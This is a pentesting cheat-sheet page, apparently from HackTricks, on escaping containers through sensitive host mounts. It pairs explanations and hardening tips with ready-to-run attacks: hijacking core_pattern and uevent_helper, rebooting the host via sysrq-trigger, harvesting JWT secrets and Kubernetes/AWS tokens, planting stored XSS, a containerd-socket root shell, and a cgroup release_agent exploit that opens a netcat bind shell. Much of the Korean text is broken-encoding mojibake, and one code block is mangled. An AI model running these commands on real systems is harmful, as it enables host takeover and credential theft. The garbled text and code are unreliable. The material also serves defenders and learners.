Sensitive Mounts

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

/proc, /sys, ๋ฐ /var์˜ ์ ์ ˆํ•œ ๋„ค์ž„์ŠคํŽ˜์ด์Šค ๊ฒฉ๋ฆฌ ์—†์ด ๋…ธ์ถœ๋˜๋ฉด ๊ณต๊ฒฉ ํ‘œ๋ฉด ํ™•๋Œ€ ๋ฐ ์ •๋ณด ์œ ์ถœ์„ ํฌํ•จํ•œ ์ƒ๋‹นํ•œ ๋ณด์•ˆ ์œ„ํ—˜์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋””๋ ‰ํ† ๋ฆฌ๋Š” ๋ฏผ๊ฐํ•œ ํŒŒ์ผ์„ ํฌํ•จํ•˜๊ณ  ์žˆ์œผ๋ฉฐ, ์ž˜๋ชป ๊ตฌ์„ฑ๋˜๊ฑฐ๋‚˜ ๋ฌด๋‹จ ์‚ฌ์šฉ์ž๊ฐ€ ์ ‘๊ทผํ•  ๊ฒฝ์šฐ ์ปจํ…Œ์ด๋„ˆ ํƒˆ์ถœ, ํ˜ธ์ŠคํŠธ ์ˆ˜์ • ๋˜๋Š” ์ถ”๊ฐ€ ๊ณต๊ฒฉ์— ๋„์›€์ด ๋˜๋Š” ์ •๋ณด๋ฅผ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, -v /proc:/host/proc๋ฅผ ์ž˜๋ชป ๋งˆ์šดํŠธํ•˜๋ฉด ๊ฒฝ๋กœ ๊ธฐ๋ฐ˜ ํŠน์„ฑ์œผ๋กœ ์ธํ•ด AppArmor ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, /host/proc๊ฐ€ ๋ณดํ˜ธ๋˜์ง€ ์•Š๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

๊ฐ ์ž ์žฌ์  ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ์„ธ๋ถ€์ •๋ณด๋Š” https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

procfs Vulnerabilities

/proc/sys

์ด ๋””๋ ‰ํ† ๋ฆฌ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ sysctl(2)๋ฅผ ํ†ตํ•ด ์ปค๋„ ๋ณ€์ˆ˜๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•˜๋ฉฐ, ์—ฌ๋Ÿฌ ๊ฐœ์˜ ์šฐ๋ ค๋˜๋Š” ํ•˜์œ„ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค:

/proc/sys/kernel/core_pattern

  • core(5)์—์„œ ์„ค๋ช…๋จ.

  • ์ด ํŒŒ์ผ์— ์“ธ ์ˆ˜ ์žˆ๋‹ค๋ฉด, ํ”„๋กœ๊ทธ๋žจ์ด๋‚˜ ์Šคํฌ๋ฆฝํŠธ์˜ ๊ฒฝ๋กœ ๋’ค์— ํŒŒ์ดํ”„ |๋ฅผ ์จ์„œ ์ถฉ๋Œ์ด ๋ฐœ์ƒํ•œ ํ›„ ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ๊ณต๊ฒฉ์ž๋Š” mount๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ํ˜ธ์ŠคํŠธ ๋‚ด์—์„œ ์ž์‹ ์˜ ์ปจํ…Œ์ด๋„ˆ๋กœ์˜ ๊ฒฝ๋กœ๋ฅผ ์ฐพ๊ณ , ๊ทธ ๊ฒฝ๋กœ๋ฅผ ์ž์‹ ์˜ ์ปจํ…Œ์ด๋„ˆ ํŒŒ์ผ ์‹œ์Šคํ…œ ๋‚ด์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ์— ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ํ”„๋กœ๊ทธ๋žจ์„ ์ถฉ๋Œ์‹œ์ผœ ์ปค๋„์ด ์ปจํ…Œ์ด๋„ˆ ์™ธ๋ถ€์—์„œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ํ…Œ์ŠคํŠธ ๋ฐ ์•…์šฉ ์˜ˆ์‹œ:

[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler

์ด ๊ฒŒ์‹œ๋ฌผ์—์„œ ๋” ๋งŽ์€ ์ •๋ณด๋ฅผ ํ™•์ธํ•˜์„ธ์š”: this post.

์ถฉ๋Œํ•˜๋Š” ์˜ˆ์ œ ํ”„๋กœ๊ทธ๋žจ:

int main(void) {
char buf[1];
for (int i = 0; i < 100; i++) {
buf[i] = 1;
}
return 0;
}

/proc/sys/kernel/modprobe

  • proc(5)์—์„œ ์ž์„ธํžˆ ์„ค๋ช…๋จ.
  • ์ปค๋„ ๋ชจ๋“ˆ ๋กœ๋”์˜ ๊ฒฝ๋กœ๋ฅผ ํฌํ•จํ•˜๋ฉฐ, ์ปค๋„ ๋ชจ๋“ˆ์„ ๋กœ๋“œํ•˜๊ธฐ ์œ„ํ•ด ํ˜ธ์ถœ๋จ.
  • ์ ‘๊ทผ ํ™•์ธ ์˜ˆ์ œ:
ls -l $(cat /proc/sys/kernel/modprobe) # modprobe ์ ‘๊ทผ ํ™•์ธ

/proc/sys/vm/panic_on_oom

  • proc(5)์—์„œ ์ฐธ์กฐ๋จ.
  • OOM ์กฐ๊ฑด์ด ๋ฐœ์ƒํ•  ๋•Œ ์ปค๋„์ด ํŒจ๋‹‰์„ ์ผ์œผํ‚ค๊ฑฐ๋‚˜ OOM ํ‚ฌ๋Ÿฌ๋ฅผ ํ˜ธ์ถœํ• ์ง€๋ฅผ ์ œ์–ดํ•˜๋Š” ์ „์—ญ ํ”Œ๋ž˜๊ทธ.

/proc/sys/fs

  • proc(5)์— ๋”ฐ๋ผ, ํŒŒ์ผ ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ์˜ต์…˜๊ณผ ์ •๋ณด๋ฅผ ํฌํ•จํ•จ.
  • ์“ฐ๊ธฐ ์ ‘๊ทผ์€ ํ˜ธ์ŠคํŠธ์— ๋Œ€ํ•œ ๋‹ค์–‘ํ•œ ์„œ๋น„์Šค ๊ฑฐ๋ถ€ ๊ณต๊ฒฉ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Œ.

/proc/sys/fs/binfmt_misc

  • ๋งค์ง ๋„˜๋ฒ„์— ๋”ฐ๋ผ ๋น„๋„ค์ดํ‹ฐ๋ธŒ ์ด์ง„ ํ˜•์‹์— ๋Œ€ํ•œ ์ธํ„ฐํ”„๋ฆฌํ„ฐ๋ฅผ ๋“ฑ๋กํ•  ์ˆ˜ ์žˆ์Œ.
  • /proc/sys/fs/binfmt_misc/register๊ฐ€ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•  ๊ฒฝ์šฐ ๊ถŒํ•œ ์ƒ์Šน ๋˜๋Š” ๋ฃจํŠธ ์‰˜ ์ ‘๊ทผ์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Œ.
  • ๊ด€๋ จ๋œ ์ต์Šคํ”Œ๋กœ์ž‡ ๋ฐ ์„ค๋ช…:
  • Poor manโ€™s rootkit via binfmt_misc
  • ์‹ฌ์ธต ํŠœํ† ๋ฆฌ์–ผ: ๋น„๋””์˜ค ๋งํฌ

/proc์˜ ๊ธฐํƒ€ ํ•ญ๋ชฉ

/proc/config.gz

  • CONFIG_IKCONFIG_PROC๊ฐ€ ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ ์ปค๋„ ๊ตฌ์„ฑ์„ ๋“œ๋Ÿฌ๋‚ผ ์ˆ˜ ์žˆ์Œ.
  • ๊ณต๊ฒฉ์ž๊ฐ€ ์‹คํ–‰ ์ค‘์ธ ์ปค๋„์˜ ์ทจ์•ฝ์ ์„ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ์œ ์šฉํ•จ.

/proc/sysrq-trigger

  • Sysrq ๋ช…๋ น์„ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ฆ‰๊ฐ์ ์ธ ์‹œ์Šคํ…œ ์žฌ๋ถ€ํŒ… ๋˜๋Š” ๊ธฐํƒ€ ์ค‘์š”ํ•œ ์ž‘์—…์„ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Œ.
  • ํ˜ธ์ŠคํŠธ ์žฌ๋ถ€ํŒ… ์˜ˆ์ œ:
echo b > /proc/sysrq-trigger # ํ˜ธ์ŠคํŠธ ์žฌ๋ถ€ํŒ…

/proc/kmsg

  • ์ปค๋„ ๋ง ๋ฒ„ํผ ๋ฉ”์‹œ์ง€๋ฅผ ๋…ธ์ถœํ•จ.
  • ์ปค๋„ ์ต์Šคํ”Œ๋กœ์ž‡, ์ฃผ์†Œ ์œ ์ถœ ๋ฐ ๋ฏผ๊ฐํ•œ ์‹œ์Šคํ…œ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•˜๋Š” ๋ฐ ๋„์›€์„ ์ค„ ์ˆ˜ ์žˆ์Œ.

/proc/kallsyms

  • ์ปค๋„์—์„œ ๋‚ด๋ณด๋‚ธ ์‹ฌ๋ณผ๊ณผ ๊ทธ ์ฃผ์†Œ๋ฅผ ๋‚˜์—ดํ•จ.
  • KASLR์„ ๊ทน๋ณตํ•˜๊ธฐ ์œ„ํ•œ ์ปค๋„ ์ต์Šคํ”Œ๋กœ์ž‡ ๊ฐœ๋ฐœ์— ํ•„์ˆ˜์ ์ž„.
  • ์ฃผ์†Œ ์ •๋ณด๋Š” kptr_restrict๊ฐ€ 1 ๋˜๋Š” 2๋กœ ์„ค์ •๋œ ๊ฒฝ์šฐ ์ œํ•œ๋จ.
  • proc(5)์—์„œ ์ž์„ธํžˆ ์„ค๋ช…๋จ.

/proc/[pid]/mem

  • ์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ ์žฅ์น˜ /dev/mem์™€ ์ธํ„ฐํŽ˜์ด์Šคํ•จ.
  • ์—ญ์‚ฌ์ ์œผ๋กœ ๊ถŒํ•œ ์ƒ์Šน ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•จ.
  • proc(5)์—์„œ ๋” ๋งŽ์€ ์ •๋ณด.

/proc/kcore

  • ์‹œ์Šคํ…œ์˜ ๋ฌผ๋ฆฌ์  ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ELF ์ฝ”์–ด ํ˜•์‹์œผ๋กœ ๋‚˜ํƒ€๋ƒ„.
  • ์ฝ๊ธฐ๋Š” ํ˜ธ์ŠคํŠธ ์‹œ์Šคํ…œ ๋ฐ ๋‹ค๋ฅธ ์ปจํ…Œ์ด๋„ˆ์˜ ๋ฉ”๋ชจ๋ฆฌ ๋‚ด์šฉ์„ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Œ.
  • ํฐ ํŒŒ์ผ ํฌ๊ธฐ๋Š” ์ฝ๊ธฐ ๋ฌธ์ œ๋‚˜ ์†Œํ”„ํŠธ์›จ์–ด ์ถฉ๋Œ์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Œ.
  • 2019๋…„ /proc/kcore ๋คํ”„ํ•˜๊ธฐ์—์„œ ์ž์„ธํ•œ ์‚ฌ์šฉ๋ฒ•.

/proc/kmem

  • ์ปค๋„ ๊ฐ€์ƒ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” /dev/kmem์˜ ๋Œ€์ฒด ์ธํ„ฐํŽ˜์ด์Šค.
  • ์ฝ๊ธฐ ๋ฐ ์“ฐ๊ธฐ๋ฅผ ํ—ˆ์šฉํ•˜์—ฌ ์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ง์ ‘ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Œ.

/proc/mem

  • ๋ฌผ๋ฆฌ์  ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” /dev/mem์˜ ๋Œ€์ฒด ์ธํ„ฐํŽ˜์ด์Šค.
  • ์ฝ๊ธฐ ๋ฐ ์“ฐ๊ธฐ๋ฅผ ํ—ˆ์šฉํ•˜๋ฉฐ, ๋ชจ๋“  ๋ฉ”๋ชจ๋ฆฌ ์ˆ˜์ •์„ ์œ„ํ•ด ๊ฐ€์ƒ ์ฃผ์†Œ๋ฅผ ๋ฌผ๋ฆฌ ์ฃผ์†Œ๋กœ ๋ณ€ํ™˜ํ•ด์•ผ ํ•จ.

/proc/sched_debug

  • PID ๋„ค์ž„์ŠคํŽ˜์ด์Šค ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•˜์—ฌ ํ”„๋กœ์„ธ์Šค ์Šค์ผ€์ค„๋ง ์ •๋ณด๋ฅผ ๋ฐ˜ํ™˜ํ•จ.
  • ํ”„๋กœ์„ธ์Šค ์ด๋ฆ„, ID ๋ฐ cgroup ์‹๋ณ„์ž๋ฅผ ๋…ธ์ถœํ•จ.

/proc/[pid]/mountinfo

  • ํ”„๋กœ์„ธ์Šค์˜ ๋งˆ์šดํŠธ ๋„ค์ž„์ŠคํŽ˜์ด์Šค ๋‚ด ๋งˆ์šดํŠธ ์ง€์ ์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•จ.
  • ์ปจํ…Œ์ด๋„ˆ rootfs ๋˜๋Š” ์ด๋ฏธ์ง€์˜ ์œ„์น˜๋ฅผ ๋…ธ์ถœํ•จ.

/sys ์ทจ์•ฝ์ 

/sys/kernel/uevent_helper

  • ์ปค๋„ ์žฅ์น˜ uevents๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋จ.
  • /sys/kernel/uevent_helper์— ์“ฐ๋ฉด uevent ํŠธ๋ฆฌ๊ฑฐ ์‹œ ์ž„์˜์˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Œ.
  • ์ต์Šคํ”Œ๋กœ์ž‡ ์˜ˆ์ œ:

#### Creates a payload

echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

#### Finds host path from OverlayFS mount for container

host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)

#### Sets uevent_helper to malicious helper

echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

#### Triggers a uevent

echo change > /sys/class/mem/null/uevent

#### Reads the output

cat /output

/sys/class/thermal

  • Controls temperature settings, potentially causing DoS attacks or physical damage.

/sys/kernel/vmcoreinfo

  • Leaks kernel addresses, potentially compromising KASLR.

/sys/kernel/security

  • Houses securityfs interface, allowing configuration of Linux Security Modules like AppArmor.
  • Access might enable a container to disable its MAC system.

/sys/firmware/efi/vars and /sys/firmware/efi/efivars

  • Exposes interfaces for interacting with EFI variables in NVRAM.
  • Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.

/sys/kernel/debug

  • debugfs offers a โ€œno rulesโ€ debugging interface to the kernel.
  • History of security issues due to its unrestricted nature.

/var Vulnerabilities

The hostโ€™s /var folder contains container runtime sockets and the containersโ€™ filesystems. If this folder is mounted inside a container, that container will get read-write access to other containersโ€™ file systems with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other containers and applications that run in them.

Kubernetes

If a container like this is deployed with Kubernetes:

apiVersion: v1  
kind: Pod  
metadata:  
  name: pod-mounts-var  
  labels:  
    app: pentest  
spec:  
  containers:  
  - name: pod-mounts-var-folder  
    image: alpine  
    volumeMounts:  
    - mountPath: /host-var  
      name: noderoot  
    command: [ "/bin/sh", "-c", "--" ]  
    args: [ "while true; do sleep 30; done;" ]  
  volumes:  
  - name: noderoot  
    hostPath:  
      path: /var

Inside the pod-mounts-var-folder container:

/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null

/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh

/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
JWT_SECRET=85d<SNIP>a0
REFRESH_TOKEN_SECRET=14<SNIP>ea

/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html

/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
are/nginx/html/index2.html

The XSS was achieved:

Stored XSS via mounted /var folder

Note that the container DOES NOT require a restart or anything. Any changes made via the mounted /var folder will be applied instantly.

You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE.

Access to cloud credentials

The container can read K8s serviceaccount tokens or AWS webidentity tokens which allows the container to gain unauthorized access to K8s or cloud:

/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
<SNIP>
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token

Docker

The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually the other containersโ€™ filesystems are available under a different base path:

$ docker info | grep -i 'docker root\|storage driver'
์Šคํ† ๋ฆฌ์ง€ ๋“œ๋ผ์ด๋ฒ„: overlay2
๋„์ปค ๋ฃจํŠธ ๋””๋ ‰ํ† ๋ฆฌ: /var/lib/docker

So the filesystems are under /var/lib/docker/overlay2/:

$ sudo ls -la /var/lib/docker/overlay2

drwx--x---  4 root root  4096 1์›”  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d  
drwx--x---  4 root root  4096 1์›” 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496  
drwx--x---  4 root root  4096 1์›”  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f  
drwx--x---  4 root root  4096 1์›”  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2  
<SNIP>

Note

The actual paths may differ in different setups, which is why your best bet is to use the find command to locate the other containersโ€™ filesystems and SA / web identity tokens

Other Sensitive Host Sockets and Directories (2023-2025)

Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. Treat the following paths as highly sensitive and never expose them to untrusted workloads:

/run/containerd/containerd.sock     # containerd CRI ์†Œ์ผ“  
/var/run/crio/crio.sock             # CRI-O ๋Ÿฐํƒ€์ž„ ์†Œ์ผ“  
/run/podman/podman.sock             # Podman API (rootful ๋˜๋Š” rootless)  
/run/buildkit/buildkitd.sock        # BuildKit ๋ฐ๋ชฌ (rootful)  
/var/run/kubelet.sock               # Kubernetes ๋…ธ๋“œ์˜ Kubelet API  
/run/firecracker-containerd.sock    # Kata / Firecracker

Attack example abusing a mounted containerd socket:

# ์ปจํ…Œ์ด๋„ˆ ๋‚ด๋ถ€ (์†Œ์ผ“์ด /host/run/containerd.sock์— ๋งˆ์šดํŠธ๋จ)
ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest
ctr --address /host/run/containerd.sock run --tty --privileged --mount \
type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
chroot /host /bin/bash   # ํ˜ธ์ŠคํŠธ์—์„œ ์ „์ฒด ๋ฃจํŠธ ์…ธ

A similar technique works with crictl, podman or the kubelet API once their respective sockets are exposed.

Writable cgroup v1 mounts are also dangerous. If /sys/fs/cgroup is bind-mounted rw and the host kernel is vulnerable to CVE-2022-0492, an attacker can set a malicious release_agent and execute arbitrary code in the initial namespace:

# ์ปจํ…Œ์ด๋„ˆ๊ฐ€ CAP_SYS_ADMIN์„ ๊ฐ€์ง€๊ณ  ์žˆ๊ณ  ์ทจ์•ฝํ•œ ์ปค๋„์„ ๊ฐ€์ •ํ•  ๋•Œ
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release

echo '/tmp/pwn' > /sys/fs/cgroup/release_agent   # CVE-2022-0492 ํ•„์š”

echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
sh -c "echo 0 > /tmp/x/cgroup.procs"  # empty-cgroup ์ด๋ฒคํŠธ๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.

When the last process leaves the cgroup, /tmp/pwn runs as root on the host. Patched kernels (>5.8 with commit 32a0db39f30d) validate the writerโ€™s capabilities and block this abuse.

  • CVE-2024-21626 โ€“ runc โ€œLeaky Vesselsโ€ file-descriptor leak runc โ‰ค 1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or docker exec could start a container whose working directory is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker โ‰ฅ 25.0.3, containerd โ‰ฅ 1.7.14).
FROM scratch
WORKDIR /proc/self/fd/4   # 4 == "/" on the host leaked by the runtime
CMD ["/bin/sh"]
  • CVE-2024-23651 / 23653 โ€“ BuildKit OverlayFS copy-up TOCTOU A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be copy-up into the containerโ€™s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted docker build on a vulnerable daemon.

  • CVE-2024-1753 โ€“ Buildah / Podman bind-mount breakout during build Buildah โ‰ค 1.35.0 (and Podman โ‰ค 4.9.3) incorrectly resolved absolute paths passed to --mount=type=bind in a Containerfile. A crafted build stage could mount / from the host read-write inside the build container when SELinux was disabled or in permissive mode, leading to full escape at build time. Patched in Buildah 1.35.1 and the corresponding Podman 4.9.4 back-port series.

  • CVE-2024-40635 โ€“ containerd UID integer overflow Supplying a User value larger than 2147483647 in an image config overflowed the 32-bit signed integer and started the process as UID 0 inside the host user namespace. Workloads expected to run as non-root could therefore obtain root privileges. Fixed in containerd 1.6.38 / 1.7.27 / 2.0.4.

Hardening Reminders (2025)

  1. Bind-mount host paths read-only whenever possible and add nosuid,nodev,noexec mount options.
  2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
  3. Keep the container runtime up-to-date (runc โ‰ฅ 1.1.12, BuildKit โ‰ฅ 0.12.5, Buildah โ‰ฅ 1.35.1 / Podman โ‰ฅ 4.9.4, containerd โ‰ฅ 1.7.27).
  4. In Kubernetes, use securityContext.readOnlyRootFilesystem: true, the restricted PodSecurity profile and avoid hostPath volumes pointing to the paths listed above.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ